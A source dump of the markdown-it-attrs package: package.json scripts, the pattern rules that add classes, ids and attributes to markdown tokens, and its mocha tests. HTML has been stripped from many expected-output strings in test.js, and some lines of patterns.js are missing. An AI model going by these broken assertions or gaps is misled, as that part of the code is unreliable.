"email": "arve.seljebu@gmail.com", 11 | "url": "https://arve0.github.io" 12 | }, 13 | "engines": { 14 | "node": ">=6" 15 | }, 16 | "scripts": { 17 | "browser": "browserify index.js -t [ babelify --presets [ @babel/preset-env ] ] --standalone markdown-it-attrs -o markdown-it-attrs.browser.js", 18 | "coverage": "nyc report --reporter=text-lcov | coveralls", 19 | "lint": "eslint .", 20 | "preversion": "mocha && npm run browser && git add markdown-it-attrs.browser.js", 21 | "postpublish": "git push && git push --tags", 22 | "test": "npm run lint && nyc mocha" 23 | }, 24 | "homepage": "https://github.com/arve0/markdown-it-attrs", 25 | "keywords": [ 26 | "commonmark", 27 | "markdown", 28 | "markdown-it", 29 | "markdown-it-plugin", 30 | "attributes", 31 | "classes", 32 | "ids", 33 | "identifiers", 34 | "curly brackets", 35 | "pandoc", 36 | "header_attributes" 37 | ], 38 | "devDependencies": { 39 | "@babel/core": "^7.20.5", 40 | "@babel/preset-env": "^7.20.2", 41 | "babelify": "^10.0.0", 42 | "browserify": "^17.0.0", 43 | "coveralls": "^3.1.1", 44 | "eslint": "^8.4.1", 45 | "markdown-it": ">=13.0.1", 46 | "markdown-it-implicit-figures": ">=0.9.0", 47 | "markdown-it-katex": "^2.0.3", 48 | "mocha": ">=9.1.3", 49 | "nyc": ">=15.1.0" 50 | }, 51 | "peerDependencies": { 52 | "markdown-it": ">= 9.0.0" 53 | }, 54 | "tonicExampleFilename": "demo.js" 55 | } 56 | -------------------------------------------------------------------------------- /patterns.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | /** 3 | * If a pattern matches the token stream, 4 | * then run transform. 5 | */ 6 | 7 | const utils = require('./utils.js'); 8 | 9 | /** 10 | * @param {import('.').Options} options 11 | * @returns {import('.').CurlyAttrsPattern[]} 12 | */ 13 | module.exports = options => { 14 | const __hr = new RegExp('^ {0,3}[-*_]{3,} ?' 15 | + utils.escapeRegExp(options.leftDelimiter) 16 | + '[^' + utils.escapeRegExp(options.rightDelimiter) + ']'); 17 | 18 | return ([ 19 | { 20 | /** 21 | * ```python {.cls} 22 | * for i in range(10): 23 | * print(i) 24 | * ``` 25 | */ 26 | name: 'fenced code blocks', 27 | tests: [ 28 | { 29 | shift: 0, 30 | block: true, 31 | info: utils.hasDelimiters('end', options) 32 | } 33 | ], 34 | transform: (tokens, i) => { 35 | const token = tokens[i]; 36 | const start = token.info.lastIndexOf(options.leftDelimiter); 37 | const attrs = utils.getAttrs(token.info, start, options); 38 | utils.addAttrs(attrs, token); 39 | token.info = utils.removeDelimiter(token.info, options); 40 | } 41 | }, { 42 | /** 43 | * bla `click()`{.c} {.d} 44 | * 45 | * differs from 'inline attributes' as it does 46 | * not have a closing tag (nesting: -1) 47 | */ 48 | name: 'inline nesting 0', 49 | tests: [ 50 | { 51 | shift: 0, 52 | type: 'inline', 53 | children: [ 54 | { 55 | shift: -1, 56 | type: (str) => str === 'image' || str === 'code_inline' 57 | }, { 58 | shift: 0, 59 | type: 'text', 60 | content: utils.hasDelimiters('start', options) 61 | } 62 | ] 63 | } 64 | ], 65 | /** 66 | * @param {!number} j 67 | */ 68 | transform: (tokens, i, j) => { 69 | const token = tokens[i].children[j]; 70 | const endChar = token.content.indexOf(options.rightDelimiter); 71 | const attrToken = tokens[i].children[j - 1]; 72 | const attrs = utils.getAttrs(token.content, 0, options); 73 | utils.addAttrs(attrs, attrToken); 74 | if (token.content.length === (endChar + options.rightDelimiter.length)) { 75 | tokens[i].children.splice(j, 1); 76 | } else { 77 | token.content = token.content.slice(endChar + options.rightDelimiter.length); 78 | } 79 | } 80 | }, { 81 | /** 82 | * | h1 | 83 | * | -- | 84 | * | c1 | 85 | * 86 | * {.c} 87 | */ 88 | name: 'tables', 89 | tests: [ 90 | { 91 | // let this token be i, such that for-loop continues at 92 | // next token after tokens.splice 93 | shift: 0, 94 | type: 'table_close' 95 | }, { 96 | shift: 1, 97 | type: 'paragraph_open' 98 | }, { 99 | shift: 2, 100 | type: 'inline', 101 | content: utils.hasDelimiters('only', options) 102 | } 103 | ], 104 | transform: (tokens, i) => { 105 | const token = tokens[i + 2]; 106 | const tableOpen = utils.getMatchingOpeningToken(tokens, i); 107 | const attrs = utils.getAttrs(token.content, 0, options); 108 | // add attributes 109 | utils.addAttrs(attrs, tableOpen); 110 | // remove{.c}
111 | tokens.splice(i + 1, 3); 112 | } 113 | }, { 114 | /** 115 | * | A | B | 116 | * | -- | -- | 117 | * | 1 | 2 | 118 | * 119 | * | C | D | 120 | * | -- | -- | 121 | * 122 | * only `| A | B |` sets the colsnum metadata 123 | */ 124 | name: 'tables thead metadata', 125 | tests: [ 126 | { 127 | shift: 0, 128 | type: 'tr_close', 129 | }, { 130 | shift: 1, 131 | type: 'thead_close' 132 | }, { 133 | shift: 2, 134 | type: 'tbody_open' 135 | } 136 | ], 137 | transform: (tokens, i) => { 138 | const tr = utils.getMatchingOpeningToken(tokens, i); 139 | const th = tokens[i - 1]; 140 | let colsnum = 0; 141 | let n = i; 142 | while (--n) { 143 | if (tokens[n] === tr) { 144 | tokens[n - 1].meta = Object.assign({}, tokens[n + 2].meta, { colsnum }); 145 | break; 146 | } 147 | colsnum += (tokens[n].level === th.level && tokens[n].type === th.type) >> 0; 148 | } 149 | tokens[i + 2].meta = Object.assign({}, tokens[i + 2].meta, { colsnum }); 150 | } 151 | }, { 152 | /** 153 | * | A | B | C | D | 154 | * | -- | -- | -- | -- | 155 | * | 1 | 11 | 111 | 1111 {rowspan=3} | 156 | * | 2 {colspan=2 rowspan=2} | 22 | 222 | 2222 | 157 | * | 3 | 33 | 333 | 3333 | 158 | */ 159 | name: 'tables tbody calculate', 160 | tests: [ 161 | { 162 | shift: 0, 163 | type: 'tbody_close', 164 | hidden: false 165 | } 166 | ], 167 | /** 168 | * @param {number} i index of the tbody ending 169 | */ 170 | transform: (tokens, i) => { 171 | /** index of the tbody beginning */ 172 | let idx = i - 2; 173 | while (idx > 0 && 'tbody_open' !== tokens[--idx].type); 174 | 175 | const calc = tokens[idx].meta.colsnum >> 0; 176 | if (calc < 2) { return; } 177 | 178 | const level = tokens[i].level + 2; 179 | for (let n = idx; n < i; n++) { 180 | if (tokens[n].level > level) { continue; } 181 | 182 | const token = tokens[n]; 183 | const rows = token.hidden ? 0 : token.attrGet('rowspan') >> 0; 184 | const cols = token.hidden ? 0 : token.attrGet('colspan') >> 0; 185 | 186 | if (rows > 1) { 187 | let colsnum = calc - (cols > 0 ? cols : 1); 188 | for (let k = n, num = rows; k < i, num > 1; k++) { 189 | if ('tr_open' == tokens[k].type) { 190 | tokens[k].meta = Object.assign({}, tokens[k].meta); 191 | if (tokens[k].meta && tokens[k].meta.colsnum) { 192 | colsnum -= 1; 193 | } 194 | tokens[k].meta.colsnum = colsnum; 195 | num--; 196 | } 197 | } 198 | } 199 | 200 | if ('tr_open' == token.type && token.meta && token.meta.colsnum) { 201 | const max = token.meta.colsnum; 202 | for (let k = n, num = 0; k < i; k++) { 203 | if ('td_open' == tokens[k].type) { 204 | num += 1; 205 | } else if ('tr_close' == tokens[k].type) { 206 | break; 207 | } 208 | num > max && (tokens[k].hidden || hidden(tokens[k])); 209 | } 210 | } 211 | 212 | if (cols > 1) { 213 | /** @type {number[]} index of one row's children */ 214 | const one = []; 215 | /** last index of the row's children */ 216 | let end = n + 3; 217 | /** number of the row's children */ 218 | let num = calc; 219 | 220 | for (let k = n; k > idx; k--) { 221 | if ('tr_open' == tokens[k].type) { 222 | num = tokens[k].meta && tokens[k].meta.colsnum || num; 223 | break; 224 | } else if ('td_open' === tokens[k].type) { 225 | one.unshift(k); 226 | } 227 | } 228 | 229 | for (let k = n + 2; k < i; k++) { 230 | if ('tr_close' == tokens[k].type) { 231 | end = k; 232 | break; 233 | } else if ('td_open' == tokens[k].type) { 234 | one.push(k); 235 | } 236 | } 237 | 238 | const off = one.indexOf(n); 239 | let real = num - off; 240 | real = real > cols ? cols : real; 241 | cols > real && token.attrSet('colspan', real + ''); 242 | 243 | for (let k = one.slice(num + 1 - calc - real)[0]; k < end; k++) { 244 | tokens[k].hidden || hidden(tokens[k]); 245 | } 246 | } 247 | } 248 | } 249 | }, { 250 | /** 251 | * *emphasis*{.with attrs=1} 252 | */ 253 | name: 'inline attributes', 254 | tests: [ 255 | { 256 | shift: 0, 257 | type: 'inline', 258 | children: [ 259 | { 260 | shift: -1, 261 | nesting: -1 // closing inline tag, {.a} 262 | }, { 263 | shift: 0, 264 | type: 'text', 265 | content: utils.hasDelimiters('start', options) 266 | } 267 | ] 268 | } 269 | ], 270 | /** 271 | * @param {!number} j 272 | */ 273 | transform: (tokens, i, j) => { 274 | const token = tokens[i].children[j]; 275 | const content = token.content; 276 | const attrs = utils.getAttrs(content, 0, options); 277 | const openingToken = utils.getMatchingOpeningToken(tokens[i].children, j - 1); 278 | utils.addAttrs(attrs, openingToken); 279 | token.content = content.slice(content.indexOf(options.rightDelimiter) + options.rightDelimiter.length); 280 | } 281 | }, { 282 | /** 283 | * - item 284 | * {.a} 285 | */ 286 | name: 'list softbreak', 287 | tests: [ 288 | { 289 | shift: -2, 290 | type: 'list_item_open' 291 | }, { 292 | shift: 0, 293 | type: 'inline', 294 | children: [ 295 | { 296 | position: -2, 297 | type: 'softbreak' 298 | }, { 299 | position: -1, 300 | type: 'text', 301 | content: utils.hasDelimiters('only', options) 302 | } 303 | ] 304 | } 305 | ], 306 | /** 307 | * @param {!number} j 308 | */ 309 | transform: (tokens, i, j) => { 310 | const token = tokens[i].children[j]; 311 | const content = token.content; 312 | const attrs = utils.getAttrs(content, 0, options); 313 | let ii = i - 2; 314 | while (tokens[ii - 1] && 315 | tokens[ii - 1].type !== 'ordered_list_open' && 316 | tokens[ii - 1].type !== 'bullet_list_open') { ii--; } 317 | utils.addAttrs(attrs, tokens[ii - 1]); 318 | tokens[i].children = tokens[i].children.slice(0, -2); 319 | } 320 | }, { 321 | /** 322 | * - nested list 323 | * - with double \n 324 | * {.a} <-- apply to nested ul 325 | * 326 | * {.b} <-- apply to root{.a}
tokens below 333 | shift: 0, 334 | type: (str) => 335 | str === 'bullet_list_close' || 336 | str === 'ordered_list_close' 337 | }, { 338 | shift: 1, 339 | type: 'paragraph_open' 340 | }, { 341 | shift: 2, 342 | type: 'inline', 343 | content: utils.hasDelimiters('only', options), 344 | children: (arr) => arr.length === 1 345 | }, { 346 | shift: 3, 347 | type: 'paragraph_close' 348 | } 349 | ], 350 | transform: (tokens, i) => { 351 | const token = tokens[i + 2]; 352 | const content = token.content; 353 | const attrs = utils.getAttrs(content, 0, options); 354 | const openingToken = utils.getMatchingOpeningToken(tokens, i); 355 | utils.addAttrs(attrs, openingToken); 356 | tokens.splice(i + 1, 3); 357 | } 358 | }, { 359 | /** 360 | * - end of {.list-item} 361 | */ 362 | name: 'list item end', 363 | tests: [ 364 | { 365 | shift: -2, 366 | type: 'list_item_open' 367 | }, { 368 | shift: 0, 369 | type: 'inline', 370 | children: [ 371 | { 372 | position: -1, 373 | type: 'text', 374 | content: utils.hasDelimiters('end', options) 375 | } 376 | ] 377 | } 378 | ], 379 | /** 380 | * @param {!number} j 381 | */ 382 | transform: (tokens, i, j) => { 383 | const token = tokens[i].children[j]; 384 | const content = token.content; 385 | const attrs = utils.getAttrs(content, content.lastIndexOf(options.leftDelimiter), options); 386 | utils.addAttrs(attrs, tokens[i - 2]); 387 | const trimmed = content.slice(0, content.lastIndexOf(options.leftDelimiter)); 388 | token.content = last(trimmed) !== ' ' ? 389 | trimmed : trimmed.slice(0, -1); 390 | } 391 | }, { 392 | /** 393 | * something with softbreak 394 | * {.cls} 395 | */ 396 | name: '\n{.a} softbreak then curly in start', 397 | tests: [ 398 | { 399 | shift: 0, 400 | type: 'inline', 401 | children: [ 402 | { 403 | position: -2, 404 | type: 'softbreak' 405 | }, { 406 | position: -1, 407 | type: 'text', 408 | content: utils.hasDelimiters('only', options) 409 | } 410 | ] 411 | } 412 | ], 413 | /** 414 | * @param {!number} j 415 | */ 416 | transform: (tokens, i, j) => { 417 | const token = tokens[i].children[j]; 418 | const attrs = utils.getAttrs(token.content, 0, options); 419 | // find last closing tag 420 | let ii = i + 1; 421 | while (tokens[ii + 1] && tokens[ii + 1].nesting === -1) { ii++; } 422 | const openingToken = utils.getMatchingOpeningToken(tokens, ii); 423 | utils.addAttrs(attrs, openingToken); 424 | tokens[i].children = tokens[i].children.slice(0, -2); 425 | } 426 | }, { 427 | /** 428 | * horizontal rule --- {#id} 429 | */ 430 | name: 'horizontal rule', 431 | tests: [ 432 | { 433 | shift: 0, 434 | type: 'paragraph_open' 435 | }, 436 | { 437 | shift: 1, 438 | type: 'inline', 439 | children: (arr) => arr.length === 1, 440 | content: (str) => str.match(__hr) !== null, 441 | }, 442 | { 443 | shift: 2, 444 | type: 'paragraph_close' 445 | } 446 | ], 447 | transform: (tokens, i) => { 448 | const token = tokens[i]; 449 | token.type = 'hr'; 450 | token.tag = 'hr'; 451 | token.nesting = 0; 452 | const content = tokens[i + 1].content; 453 | const start = content.lastIndexOf(options.leftDelimiter); 454 | const attrs = utils.getAttrs(content, start, options); 455 | utils.addAttrs(attrs, token); 456 | token.markup = content; 457 | tokens.splice(i + 1, 2); 458 | } 459 | }, { 460 | /** 461 | * end of {.block} 462 | */ 463 | name: 'end of block', 464 | tests: [ 465 | { 466 | shift: 0, 467 | type: 'inline', 468 | children: [ 469 | { 470 | position: -1, 471 | content: utils.hasDelimiters('end', options), 472 | type: (t) => t !== 'code_inline' && t !== 'math_inline' 473 | } 474 | ] 475 | } 476 | ], 477 | /** 478 | * @param {!number} j 479 | */ 480 | transform: (tokens, i, j) => { 481 | const token = tokens[i].children[j]; 482 | const content = token.content; 483 | const attrs = utils.getAttrs(content, content.lastIndexOf(options.leftDelimiter), options); 484 | let ii = i + 1; 485 | do if (tokens[ii] && tokens[ii].nesting === -1) { break; } while (ii++ < tokens.length); 486 | const openingToken = utils.getMatchingOpeningToken(tokens, ii); 487 | utils.addAttrs(attrs, openingToken); 488 | const trimmed = content.slice(0, content.lastIndexOf(options.leftDelimiter)); 489 | token.content = last(trimmed) !== ' ' ? 490 | trimmed : trimmed.slice(0, -1); 491 | } 492 | } 493 | ]); 494 | }; 495 | 496 | // get last element of array or string 497 | function last(arr) { 498 | return arr.slice(-1)[0]; 499 | } 500 | 501 | /** 502 | * Hidden table's cells and them inline children, 503 | * specially cast inline's content as empty 504 | * to prevent that escapes the table's box model 505 | * @see https://github.com/markdown-it/markdown-it/issues/639 506 | * @param {import('.').Token} token 507 | */ 508 | function hidden(token) { 509 | token.hidden = true; 510 | token.children && token.children.forEach(t => ( 511 | t.content = '', 512 | hidden(t), 513 | undefined 514 | )); 515 | } 516 | -------------------------------------------------------------------------------- /test.js: -------------------------------------------------------------------------------- 1 | /* eslint-env mocha, es6 */ 2 | 'use strict'; 3 | const assert = require('assert'); 4 | const Md = require('markdown-it'); 5 | const implicitFigures = require('markdown-it-implicit-figures'); 6 | const katex = require('markdown-it-katex'); 7 | const attrs = require('./'); 8 | const utils = require('./utils.js'); 9 | 10 | 11 | describeTestsWithOptions({ 12 | leftDelimiter: '{', 13 | rightDelimiter: '}' 14 | }, ''); 15 | 16 | describeTestsWithOptions({ 17 | leftDelimiter: '[', 18 | rightDelimiter: ']' 19 | }, ' with [ ] delimiters'); 20 | 21 | describeTestsWithOptions({ 22 | leftDelimiter: '[[', 23 | rightDelimiter: ']]' 24 | }, ' with [[ ]] delimiters'); 25 | 26 | describe('markdown-it-attrs', () => { 27 | let md, src, expected; 28 | 29 | it('should not throw when getting only allowedAttributes option', () => { 30 | md = Md().use(attrs, { allowedAttributes: [/^(class|attr)$/] }); 31 | src = 'text {.someclass #someid attr=allowed}'; 32 | expected = 'text
\n'; 33 | assert.equal(md.render(src), expected); 34 | }); 35 | }); 36 | 37 | function describeTestsWithOptions(options, postText) { 38 | describe('markdown-it-attrs.utils' + postText, () => { 39 | it(replaceDelimiters('should parse {.class ..css-module #id key=val .class.with.dot}', options), () => { 40 | const src = '{.red ..mod #head key=val .class.with.dot}'; 41 | const expected = [['class', 'red'], ['css-module', 'mod'], ['id', 'head'], ['key', 'val'], ['class', 'class.with.dot']]; 42 | const res = utils.getAttrs(replaceDelimiters(src, options), 0, options); 43 | assert.deepEqual(res, expected); 44 | }); 45 | 46 | it(replaceDelimiters('should parse attributes with = {attr=/id=1}', options), () => { 47 | const src = '{link=/some/page/in/app/id=1}'; 48 | const expected = [['link', '/some/page/in/app/id=1']]; 49 | const res = utils.getAttrs(replaceDelimiters(src, options), 0, options); 50 | assert.deepEqual(res, expected); 51 | }); 52 | 53 | it(replaceDelimiters('should parse attributes whose are ignored the key chars(\\t,\\n,\\f,\\s,/,>,",\',=) eg: {gt>=true slash/=trace i\\td "q\\fnu e\'r\\ny"=}', options), () => { 54 | const src = '{gt>=true slash/=trace i\td "q\fu\ne\'r\ny"=}'; 55 | const expected = [['gt', 'true'], ['slash', 'trace'], ['id', ''], ['query', '']]; 56 | const res = utils.getAttrs(replaceDelimiters(src, options), 0, options); 57 | assert.deepEqual(res, expected); 58 | }); 59 | 60 | it(replaceDelimiters('should throw an error while calling `hasDelimiters` with an invalid `where` param', options), () => { 61 | assert.throws(() => utils.hasDelimiters(0, options), { name: 'Error', message: /Should be "start", "end" or "only"/ }); 62 | assert.throws(() => utils.hasDelimiters('', options), { name: 'Error', message: /Should be "start", "end" or "only"/ }); 63 | assert.throws(() => utils.hasDelimiters(null, options), { name: 'Error', message: /Should be "start", "end" or "only"/ }); 64 | assert.throws(() => utils.hasDelimiters(undefined, options), { name: 'Error', message: /Should be "start", "end" or "only"/ }); 65 | assert.throws(() => utils.hasDelimiters('center', options)('has {#test} delimiters'), { name: 'Error', message: /expected 'start', 'end' or 'only'/ }); 66 | }); 67 | 68 | it('should escape html entities(&,<,>,") eg: TOC', () => { 69 | const src = 'TOC'; 70 | const expected = '<a href="a&b">TOC</a>'; 71 | const res = utils.escapeHtml(src); 72 | assert.deepEqual(res, expected); 73 | }); 74 | 75 | it('should keep the origional input which is not contains(&,<,>,") char(s) eg: |a|b|', () => { 76 | const src = '|a|b|'; 77 | const expected = '|a|b|'; 78 | const res = utils.escapeHtml(src); 79 | assert.deepEqual(res, expected); 80 | }); 81 | }); 82 | 83 | describe('markdown-it-attrs' + postText, () => { 84 | let md, src, expected; 85 | beforeEach(() => { 86 | md = Md().use(attrs, options); 87 | }); 88 | 89 | it(replaceDelimiters('should add attributes when {} in end of last inline', options), () => { 90 | src = 'some text {with=attrs}'; 91 | expected = 'some text
\n'; 92 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 93 | }); 94 | 95 | it(replaceDelimiters('should not add attributes when it has too many delimiters {{}}', options), () => { 96 | src = 'some text {{with=attrs}}'; 97 | expected = 'some text {{with=attrs}}
\n'; 98 | assert.equal(md.render(replaceDelimiters(src, options)), replaceDelimiters(expected, options)); 99 | }); 100 | 101 | it(replaceDelimiters('should add attributes when {} in last line', options), () => { 102 | src = 'some text\n{with=attrs}'; 103 | expected = 'some text
\n'; 104 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 105 | }); 106 | 107 | it(replaceDelimiters('should add classes with {.class} dot notation', options), () => { 108 | src = 'some text {.green}'; 109 | expected = 'some text
\n'; 110 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 111 | }); 112 | 113 | it(replaceDelimiters('should add css-modules with {..css-module} double dot notation', options), () => { 114 | src = 'some text {..green}'; 115 | expected = 'some text
\n'; 116 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 117 | }); 118 | 119 | it(replaceDelimiters('should add identifiers with {#id} hashtag notation', options), () => { 120 | src = 'some text {#section2}'; 121 | expected = 'some text
\n'; 122 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 123 | }); 124 | 125 | it(replaceDelimiters('should support classes, css-modules, identifiers and attributes in same {}', options), () => { 126 | src = 'some text {attr=lorem .class ..css-module #id}'; 127 | expected = 'some text
\n'; 128 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 129 | }); 130 | 131 | it(replaceDelimiters('should support attributes inside " {attr="lorem ipsum"}', options), () => { 132 | src = 'some text {attr="lorem ipsum"}'; 133 | expected = 'some text
\n'; 134 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 135 | }); 136 | 137 | it(replaceDelimiters('should add classes in same class attribute {.c1 .c2} -> class="c1 c2"', options), () => { 138 | src = 'some text {.c1 .c2}'; 139 | expected = 'some text
\n'; 140 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 141 | }); 142 | 143 | it(replaceDelimiters('should add css-modules in same css-modules attribute {..c1 ..c2} -> css-module="c1 c2"', options), () => { 144 | src = 'some text {..c1 ..c2}'; 145 | expected = 'some text
\n'; 146 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 147 | }); 148 | 149 | it(replaceDelimiters('should add nested css-modules {..c1.c2} -> css-module="c1.c2"', options), () => { 150 | src = 'some text {..c1.c2}'; 151 | expected = 'some text
\n'; 152 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 153 | }); 154 | 155 | it(replaceDelimiters('should support empty inline tokens', options), () => { 156 | src = ' 1 | 2 \n --|-- \n a | '; 157 | md.render(replaceDelimiters(src, options)); // should not crash / throw error 158 | }); 159 | 160 | it(replaceDelimiters('should add classes to inline elements', options), () => { 161 | src = 'paragraph **bold**{.red} asdf'; 162 | expected = 'paragraph bold asdf
\n'; 163 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 164 | }); 165 | 166 | it(replaceDelimiters('should not add classes to inline elements with too many {{}}', options), () => { 167 | src = 'paragraph **bold**{{.red}} asdf'; 168 | expected = 'paragraph bold{{.red}} asdf
\n'; 169 | assert.equal(md.render(replaceDelimiters(src, options)), replaceDelimiters(expected, options)); 170 | }); 171 | 172 | it(replaceDelimiters('should only remove last {}', options), () => { 173 | src = '{{.red}'; 174 | expected = replaceDelimiters('{
\n', options); 175 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 176 | }); 177 | 178 | it(replaceDelimiters('should add classes for list items', options), () => { 179 | src = '- item 1{.red}\n- item 2'; 180 | expected = 'bla click()
text
\n'; 235 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 236 | }); 237 | 238 | it(replaceDelimiters('should add attributes to ul when below last bullet point', options), () => { 239 | src = '- item1\n- item2\n{.red}'; 240 | expected = 'text
\n'; 279 | const res = md.set({ typographer: true }).render(replaceDelimiters(src, options)); 280 | assert.equal(res, expected); 281 | }); 282 | 283 | it(replaceDelimiters('should support code blocks', options), () => { 284 | src = '```{.c a=1 #ii}\nfor i in range(10):\n```'; 285 | expected = 'for i in range(10):\n
\n';
286 | assert.equal(md.render(replaceDelimiters(src, options)), expected);
287 | });
288 |
289 | it(replaceDelimiters('should support code blocks with language defined', options), () => {
290 | src = '```python {.c a=1 #ii}\nfor i in range(10):\n```';
291 | expected = 'for i in range(10):\n
\n';
292 | assert.equal(md.render(replaceDelimiters(src, options)), expected);
293 | });
294 |
295 | it(replaceDelimiters('should support blockquotes', options), () => {
296 | src = '> quote\n{.c}';
297 | expected = '\n\n'; 298 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 299 | }); 300 | 301 | it(replaceDelimiters('should support tables', options), () => { 302 | src = '| h1 | h2 |\n'; 303 | src += '| -- | -- |\n'; 304 | src += '| c1 | c1 |\n'; 305 | src += '\n'; 306 | src += '{.c}'; 307 | expected = 'quote
\n
h1 | \n'; 311 | expected += 'h2 | \n'; 312 | expected += '
---|---|
c1 | \n'; 317 | expected += 'c1 | \n'; 318 | expected += '
title | \n'; 335 | expected += 'title | \n'; 336 | expected += '
---|---|
text | \n'; 341 | expected += 'text | \n'; 342 | expected += '
text | \n'; 345 | expected += 'text | \n'; 346 | expected += '
A | \n'; 385 | expected += 'B | \n'; 386 | expected += 'C | \n'; 387 | expected += 'D | \n'; 388 | expected += '
---|---|---|---|
1 | \n'; 393 | expected += '11 | \n'; 394 | expected += '111 | \n'; 395 | expected += '1111 | \n'; 396 | expected += '
2 | \n'; 399 | expected += '22 | \n'; 400 | expected += '||
3 | \n'; 403 | expected += '
A | \n'; 410 | expected += '||
---|---|---|
1 | \n'; 415 | expected += '||
2 | \n'; 418 | expected += '||
3 | \n'; 421 | expected += '
A | \n'; 428 | expected += 'B | \n'; 429 | expected += 'C | \n'; 430 | expected += '
---|---|---|
1 | \n'; 435 | expected += '11 | \n'; 436 | expected += '111 | \n'; 437 | expected += '
2 | \n'; 440 | expected += '22 | \n'; 441 | expected += '|
3 | \n'; 444 | expected += '33 | \n'; 445 | expected += '
A | \n'; 452 | expected += 'B | \n'; 453 | expected += 'C | \n'; 454 | expected += 'D | \n'; 455 | expected += '|
---|---|---|---|---|
1 | \n'; 460 | expected += '11 | \n'; 461 | expected += '|||
2 | \n'; 464 | expected += '22 | \n'; 465 | expected += '222 | \n'; 466 | expected += '||
3 | \n'; 469 | expected += '33 | \n'; 470 | expected += '
paragraph code{.red}
code = {.red}
bla click()
blah release()
text
\n'; 539 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 540 | }); 541 | 542 | it(replaceDelimiters('should do nothing with empty classname {.}', options), () => { 543 | src = 'text {.}'; 544 | expected = 'text {.}
\n'; 545 | assert.equal(md.render(replaceDelimiters(src, options)), replaceDelimiters(expected, options)); 546 | }); 547 | 548 | it(replaceDelimiters('should do nothing with empty id {#}', options), () => { 549 | src = 'text {#}'; 550 | expected = 'text {#}
\n'; 551 | assert.equal(md.render(replaceDelimiters(src, options)), replaceDelimiters(expected, options)); 552 | }); 553 | 554 | it(replaceDelimiters('should support horizontal rules ---{#id}', options), () => { 555 | src = '---{#id}'; 556 | expected = 'text
\n'; 564 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 565 | }); 566 | 567 | it('should restrict attributes by allowedAttributes (regex)', () => { 568 | md = Md().use(attrs, Object.assign({ allowedAttributes: [/^(class|attr)$/] }, options)); 569 | src = 'text {.someclass #someid attr=allowed}'; 570 | expected = 'text
\n'; 571 | assert.equal(md.render(replaceDelimiters(src, options)), expected); 572 | }); 573 | 574 | it('should support multiple classes for